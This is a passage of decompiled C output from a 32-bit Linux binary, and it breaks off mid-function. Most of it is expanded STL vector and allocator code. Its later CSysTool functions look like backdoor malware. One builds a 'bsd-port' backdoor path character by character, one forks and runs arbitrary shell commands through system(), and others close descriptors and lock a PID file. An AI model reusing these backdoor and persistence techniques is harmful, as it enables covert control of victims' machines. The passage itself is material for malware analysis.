if (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, v1) == 0) {
// 0x807534d
return 0;
}
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(a1);
int32_t v2;
__gnu_cxx____mt_alloc_base_lt_CDevice_gt___destroy(v2);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(a1);
while (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a1, v1) != 0) {
// 0x8075308
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(a1);
__gnu_cxx____mt_alloc_base_lt_CDevice_gt___destroy(v2);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(a1);
// continue -> 0x8075308
}
// 0x807534d
return 0;
}
// Address range: 0x8075350 - 0x80753b1
int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x8075350
if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) {
// 0x80753b0
return 0;
}
// 0x8075364
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v1 = 16 * (int32_t)a3; // 0x807536f
int32_t result; // 0x80753b1_11
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) {
// 0x807539b
int32_t v2;
result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x8075369, v2, 0, 0, 0);
// branch -> 0x80753b0
} else {
// 0x807538b
result = _ZdlPv(a2);
// branch -> 0x80753b0
}
// 0x80753b0
return result;
}
// Address range: 0x80753b2 - 0x80753d5
int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_deallocate(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x80753b2
int32_t result; // 0x80753cb
if (a2 != NULL) {
// 0x80753be
g95 = (int32_t)a1;
result = __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, a3);
// branch -> 0x80753d3
}
// 0x80753d3
return result;
}
// Address range: 0x807550a - 0x8075513
int32_t __gnu_cxx____mt_alloc_base_lt_CDevice_gt___max_size(void) {
// 0x807550a
return 0xfffffff;
}
// Address range: 0x8075514 - 0x8075653
int32_t __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, int32_t * a2) {
// 0x8075514
__gnu_cxx____mt_alloc_base_lt_CDevice_gt___max_size();
g95 = a2 > (int32_t *)0xfffffff != false;
if (a2 > (int32_t *)0xfffffff != false) {
// 0x807553b
std____throw_bad_alloc();
// branch -> 0x8075540
}
// 0x8075540
int32_t v1;
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1);
__gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool();
int32_t v2 = 16 * (int32_t)a2; // 0x8075550
int32_t * v3 = (int32_t *)v2; // 0x8075553_0
int32_t result;
if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) {
// 0x807556c
int32_t * v4;
result = _Znwj(v2, v2, (int32_t)v4);
// branch -> 0x807564f
// 0x807564f
return result;
}
int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x8075592
int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x80755a3
int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x80755b7_4
int32_t * v8 = *v7; // 0x80755d0
if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) {
// 0x8075632
result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6);
// branch -> 0x807564f
} else {
int32_t * v9 = *v7; // 0x80755e9
*v7 = (int32_t *)*v9;
__gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9);
int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x807562a
result = v10;
// branch -> 0x807564f
}
// 0x807564f
return result;
}
// Address range: 0x8075654 - 0x807566f
int32_t std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_allocate(int32_t * a1, int32_t * a2) {
// 0x8075654
return __gnu_cxx____mt_alloc_lt_CDevice_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, a2);
}
// Address range: 0x8075670 - 0x80756b7
int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CDevice__ptr__comma__CDevice__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x807567e
int32_t v2 = v1 / 16; // 0x8075682
g95 = v2;
if (v1 <= 15) {
// 0x80756b2
return (int32_t)a3;
}
int32_t * v3 = (int32_t *)((int32_t)a2 - 16); // 0x807568d_3
int32_t * v4 = (int32_t *)((int32_t)a3 - 16); // 0x8075693_3
CDevice__operator_eq_(v4, v3);
while (v2 > 1) {
// 0x807568a
v2--;
v3 = (int32_t *)((int32_t)v3 - 16);
v4 = (int32_t *)((int32_t)v4 - 16);
CDevice__operator_eq_(v4, v3);
// continue -> 0x807568a
}
// 0x80756b2
return (int32_t)v4;
}
// Address range: 0x80756b8 - 0x80756d7
void std____copy_backward_aux_lt_CDevice__ptr__comma__CDevice__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x80756b8
std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_CDevice__ptr__comma__CDevice__ptr__gt_(a1, a2, a3);
}
// Address range: 0x80756d8 - 0x8075741
int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1;
int32_t * v1;
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(v1);
int32_t * v2;
int32_t v3 = (int32_t)v2; // 0x80756f3
int32_t * v4;
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(v4);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(a2);
std____copy_backward_aux_lt_CDevice__ptr__comma__CDevice__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_((int32_t *)result, (int32_t *)g95);
return result;
}
// Address range: 0x8075744 - 0x807577f
int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x8075747
g101 = (int32_t)a1;
int32_t * v2;
std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(v2, a2);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x8075774
g101 = v1;
return result;
}
// Address range: 0x8075780 - 0x80757dd
int32_t std___Construct_lt_CDevice_comma__CDevice_gt_(int32_t * a1, int32_t * a2) {
int32_t result = _ZnwjPv((int32_t *)16); // 0x807578f
if (result != 0) {
// 0x80757a0
CDevice_341(result, (int32_t)a2);
// branch -> 0x80757d8
}
// 0x80757d8
return result;
}
// Address range: 0x80757de - 0x80757f3
int32_t std___Destroy_lt_CDevice_gt_(struct struct_3 * a1) {
// 0x80757de
return CDevice_339((int32_t)a1);
}
// Address range: 0x80757f4 - 0x807583f
int32_t std____destroy_aux_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(void) {
// 0x80757f4
int32_t * v1;
int32_t * v2;
if (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v1, v2) == 0) {
// 0x807583d
return 0;
}
struct struct_3 * v3 = (struct struct_3 *)__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(v1); // 0x8075803_3
std___Destroy_lt_CDevice_gt_(v3);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(v1);
while (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v1, v2) != 0) {
// 0x80757fc
v3 = (struct struct_3 *)__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(v1);
std___Destroy_lt_CDevice_gt_(v3);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(v1);
// continue -> 0x80757fc
}
// 0x807583d
return 0;
}
// Address range: 0x8075864 - 0x8075925
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2) {
int32_t result = (int32_t)a1; // 0x807586e
int32_t * v1;
*a1 = v1;
int32_t * v2;
if (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a2, v2) == 0) {
// 0x807591b
return result;
}
g98 = __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(a2);
std___Construct_lt_CDevice_comma__CDevice_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_((int32_t *)a1), (int32_t *)g98);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(a2);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__((int32_t *)a1);
while (__gnu_cxx__operator_not__eq__lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(a2, v2) != 0) {
// 0x8075875
g98 = __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(a2);
std___Construct_lt_CDevice_comma__CDevice_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_((int32_t *)a1), (int32_t *)g98);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__(a2);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__((int32_t *)a1);
// continue -> 0x8075875
}
// 0x807591b
return result;
}
// Address range: 0x8075926 - 0x8075969
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x8075929
g101 = (int32_t)a1;
int32_t ** v2;
std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(v2, a2);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x807595e
g101 = v1;
return result;
}
// Address range: 0x807596a - 0x807599d
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__CDevice_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x807596d
g101 = (int32_t)a1;
int32_t ** v2;
std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(v2, a2, a3, a4);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x8075992
g101 = v1;
return result;
}
// Address range: 0x807599e - 0x8075e1b
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t * a3) {
struct struct_3 * v1 = NULL; // bp-84
int32_t v2 = g101; // 0x80759a1
int32_t v3 = g98; // 0x80759a2
int32_t * v4; // 0x8075e1b_11
if (a1->e1 == a1->e2) {
int32_t v5 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___size((int32_t *)a1); // 0x8075aaf
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___max_size();
int32_t * v6;
int32_t v7;
std____throw_length_error("vector::_M_insert_aux", v7, 0, (int32_t)v6);
int32_t * v8 = (int32_t *)1;
if (v5 != 0) {
// 0x8075ae5
v8 = (int32_t *)(2 * v5);
// branch -> 0x8075af6
}
int32_t * v9 = v8; // 0x8075e07_02
if (v8 < (int32_t *)v5) {
// 0x8075b04
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___max_size();
v9 = (int32_t *)0xfffffff;
// branch -> 0x8075b15
}
// 0x8075b15
int32_t * v10;
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v10, (int32_t *)std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_allocate((int32_t *)a1, v9));
int32_t v11;
std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___get_allocator(v11, (int32_t *)a1);
g98 = (int32_t)v10;
g101 = (int32_t)a2;
int32_t * v12;
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v12, (int32_t *)a1);
int32_t ** v13;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__CDevice_gt_(v13, v12, (int32_t *)g101, (int32_t *)g98);
std__allocator_lt_CDevice_gt_(v11);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base((int32_t *)v13);
int32_t * v14;
__gnu_cxx____mt_alloc_base_lt_CDevice_gt___construct((int32_t *)a1, v14);
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator__((int32_t *)v13);
int32_t v15;
std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___get_allocator(v15, (int32_t *)a1);
g98 = (int32_t)v13;
int32_t * v16;
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v16, (int32_t *)((int32_t)a1 + 4));
int32_t ** v17;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__CDevice_gt_(v17, a2, v16, (int32_t *)g98);
std__allocator_lt_CDevice_gt_(v15);
int32_t v18;
std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___get_allocator(v18, (int32_t *)a1);
int32_t * v19;
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end(v19, (int32_t *)a1);
int32_t * v20;
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___begin(v20, (int32_t *)a1);
std___Destroy_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma__std__allocator_lt_CDevice_gt___gt_(v20);
std__allocator_lt_CDevice_gt_(v18);
int32_t * v21 = a1->e2; // 0x8075d9e
int32_t v22 = *(int32_t *)a1; // 0x8075da6
int32_t v23 = *(int32_t *)a1; // 0x8075db6
std___Vector_base_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v23, (int32_t *)(((int32_t)v21 - v22) / 16));
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(v10);
a1->e0 = v14;
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base((int32_t *)v17);
a1->e1 = v14;
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___base(v10);
*(int32_t *)((int32_t)a1 + 8) = 16 * (int32_t)v9 + (int32_t)v14;
v4 = (int32_t *)a1;
// branch -> 0x8075e15
} else {
// 0x80759ba
__gnu_cxx____mt_alloc_base_lt_CDevice_gt___construct((int32_t *)a1, a1->e1);
a1->e1 = (int32_t *)((int32_t)a1->e1 + 16);
CDevice_341((int32_t)v1, (int32_t)a3);
int32_t * v24 = a1->e1; // 0x80759fe
int32_t * v25;
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v25, (int32_t *)((int32_t)v24 - 16));
int32_t * v26 = a1->e1; // 0x8075a1d
int32_t * v27;
__gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt_(v27, (int32_t *)((int32_t)v26 - 32));
int32_t ** v28;
std__copy_backward_lt___gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___gt_(v28, a2, v27, v25);
int32_t v29 = __gnu_cxx____normal_iterator_lt_CDevice__ptr__comma__std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___gt___operator_ptr_(a2); // 0x8075a56
CDevice__operator_eq_((int32_t *)v29, &v1->e0);
v4 = (int32_t *)CDevice_339((int32_t)v1);
// branch -> 0x8075e15
}
// 0x8075e15
g98 = v3;
g101 = v2;
return (int32_t)v4;
}
// Address range: 0x8075e1c - 0x8075e8b
int32_t std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___push_back(int32_t * a1, int32_t * a2) {
int32_t v1 = (int32_t)a1; // 0x8075e22
int32_t * v2 = (int32_t *)(v1 + 4); // 0x8075e25_0
int32_t * v3; // 0x8075e80_5
if (*v2 == *(int32_t *)(v1 + 8)) {
// 0x8075e5c
int32_t * v4;
std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___end(v4, a1);
v3 = (int32_t *)std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt____M_insert_aux((struct struct_12 *)a1, v4, a2);
// branch -> 0x8075e88
} else {
// 0x8075e32
__gnu_cxx____mt_alloc_base_lt_CDevice_gt___construct(a1, (int32_t *)*v2);
*v2 = *v2 + 16;
v3 = a1;
// branch -> 0x8075e88
}
// 0x8075e88
return (int32_t)v3;
}
// Address range: 0x8075eda - 0x8075f71
int32_t CSysTool__GetUpdateTemporary(int32_t * a1) {
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(a1);
int32_t v1;
CUtility__GetCurrentPathFile(&v1, "update_temporary");
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v1);
return (int32_t)a1;
}
// Address range: 0x8075f72 - 0x8076065
int32_t CSysTool__IsUpdateTemporary(int32_t a1) {
int32_t v1;
std__allocator_lt_char_gt__598(v1);
int32_t v2;
int32_t v3;
int32_t v4;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v2, (int32_t)"update_temporary", v1, v4, v3, 0);
std__allocator_lt_char_gt_();
int32_t v5;
CUtility__GetCurrentPathFile_542(&v5);
int32_t v6 = std__string__compare(&v2, &v5); // 0x8075fee
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v5);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
return v6 == 0;
}
// Address range: 0x8076066 - 0x8076143
int32_t CSysTool__GetBackDoorPath(int32_t * a1) {
// 0x8076066
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(a1);
std__string__append(a1, 1, 98);
std__string__append(a1, 1, 115);
std__string__append(a1, 1, 100);
std__string__append(a1, 1, 45);
std__string__append(a1, 1, 112);
std__string__append(a1, 1, 111);
std__string__append(a1, 1, 114);
std__string__append(a1, 1, 116);
return (int32_t)a1;
}
// Address range: 0x8076144 - 0x8076221
int32_t CSysTool__Mkdir(int32_t * a1) {
int32_t v1 = g98; // 0x8076147
int32_t v2;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v2);
int32_t v3 = 47; // bp-308
CUtility__GetPathA((char *)&v2, (int32_t)a1, (char *)&v3);
v3 = 256;
int32_t * v4;
memcpy(v4, (int32_t *)0x81037e0, 256);
int32_t v5 = std__string__c_str(&v2); // 0x8076196
v3 = v5;
_IO_sprintf((int32_t)v4, (int32_t)"mkdir -p %s", v5);
int32_t system_rc = system((char *)v4); // 0x80761c0
g98 = (((int32_t)(system_rc == -1) | system_rc & -256) ^ 1) % 2;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
int32_t result = g98; // 0x80761e0
g98 = v1;
return result;
}
// Address range: 0x8076222 - 0x807624f
int32_t CSysTool__CloseAllFileDescs(void) {
int32_t v1 = 3; // bp-8
int32_t fd = 3; // 0x8076242
close(fd);
int32_t v2 = fd + 1; // 0x8076242
v1 = v2;
// branch -> 0x8076231
while (v2 < 1024) {
// 0x8076231
fd = v2;
close(fd);
v2 = fd + 1;
v1 = v2;
// continue -> 0x8076231
}
// 0x807624d
return &v1;
}
// Address range: 0x8076250 - 0x80762f7
int32_t CSysTool__CloseResources(void) {
// 0x8076250
if (g60 != 0) {
// 0x807625f
CManager__CloseAllSockets((char *)g60, (int32_t)g2);
// branch -> 0x8076272
}
// 0x8076272
g95 = g7;
int32_t result;
if (g7 == 0) {
int32_t fd = g11; // 0x807627b
if (fd >= 1) {
// 0x8076284
g95 = fd;
g11 = -1;
result = close(fd);
// branch -> 0x80762f5
} else {
result = fd;
}
// 0x80762f5
return result;
}
// 0x80762a1
g95 = g7;
if (g7 == 1) {
int32_t fd2 = g12; // 0x80762ab
if (fd2 >= 1) {
// 0x80762b4
g95 = fd2;
g12 = -1;
result = close(fd2);
// branch -> 0x80762f5
} else {
result = fd2;
}
} else {
int32_t fd3 = g10; // 0x80762d1
if (fd3 >= 1) {
// 0x80762da
g95 = fd3;
g10 = -1;
result = close(fd3);
// branch -> 0x80762f5
} else {
result = fd3;
}
}
// 0x80762f5
return result;
}
// Address range: 0x80762f8 - 0x807637f
int32_t CSysTool__RunLinuxShell(int32_t * a1) {
int32_t pid = fork(); // 0x8076301
if (pid != 0) {
int32_t result = waitpid(pid, &g2->e0, (int32_t)g2); // 0x8076376
return result;
}
// 0x807630f
CSysTool__CloseResources();
int32_t * v1;
memcpy(v1, (int32_t *)0x8103900, 256);
strcpy((char *)v1, (char *)a1);
system((char *)v1);
exit((int32_t)v1);
// UNREACHABLE
}
// Address range: 0x8076396 - 0x80764dd
int32_t CSysTool__WritePid(char * path) {
int32_t length; // 0x807642e
int32_t fd; // 0x8076406
int32_t pid; // 0x8076466
int32_t * v1;
int32_t v2;
int32_t result; // 0x80764d21
if (CFileOp__FileExists(path) == 1) {
// 0x80763f9
fd = open(path, O_RDWR);
if (fd > 0) {
// 0x8076426
length = (int32_t)g2;
ftruncate(fd, length);
__libc_lseek(fd, length, length);
memcpy(v1, (int32_t *)0x8103a00, 128);
pid = getpid();
_IO_sprintf((int32_t)v1, (int32_t)"%d", pid);
strlen((char *)&v2);
__libc_write();
close(fd);
result = 1;
// branch -> 0x80764d2
} else {
result = 0;
}
} else {
int32_t fd2 = open(path, O_CREAT | O_EXCL); // 0x80763cb
if (fd2 > 0) {
// 0x80763eb
close(fd2);
// branch -> 0x80763f9
// 0x80763f9
fd = open(path, O_RDWR);
if (fd > 0) {
// 0x8076426
length = (int32_t)g2;
ftruncate(fd, length);
__libc_lseek(fd, length, length);
memcpy(v1, (int32_t *)0x8103a00, 128);
pid = getpid();
_IO_sprintf((int32_t)v1, (int32_t)"%d", pid);
strlen((char *)&v2);
__libc_write();
close(fd);
result = 1;
// branch -> 0x80764d2
} else {
result = 0;
}
} else {
result = 0;
}
}
// 0x80764d2
return result;
}
// Address range: 0x80764de - 0x8076585
int32_t CSysTool__MarkPid(char * path, char ** a2) {
int32_t result = 0; // 0x80765801
if (CSysTool__WritePid(path) == 1) {
int32_t fd = open(path, O_RDWR); // 0x8076515
char * v1 = (char *)fd; // 0x807651d_0
if (fd > 0) {
int32_t v2 = flock(fd, LOCK_EX | LOCK_NB); // 0x8076537
int32_t v3 = v2 == 0; // 0x8076541
int32_t v4 = v3 | v2 & -256; // 0x8076541
int32_t v5 = v4; // 0x8076561
if (a2 != NULL) {
// 0x807654d
if (v2 == 0 != false) {
// 0x8076553
if (v1 >= (char *)1) {
// 0x8076559
*a2 = v1;
v5 = fd;
// branch -> 0x8076561
} else {
v5 = v4;
}
} else {
v5 = v4;
}
}
// 0x8076561
if ((v5 & -256 || v3) != 1) {
// 0x807656b
close(fd);
// branch -> 0x8076579
}
// 0x8076579
result = v3;
// branch -> 0x8076580
} else {
result = 0;
}
}
// 0x8076580
return result;
}
// Address range: 0x8076586 - 0x8076623
int32_t CSysTool__IsPidExist(char * path) {
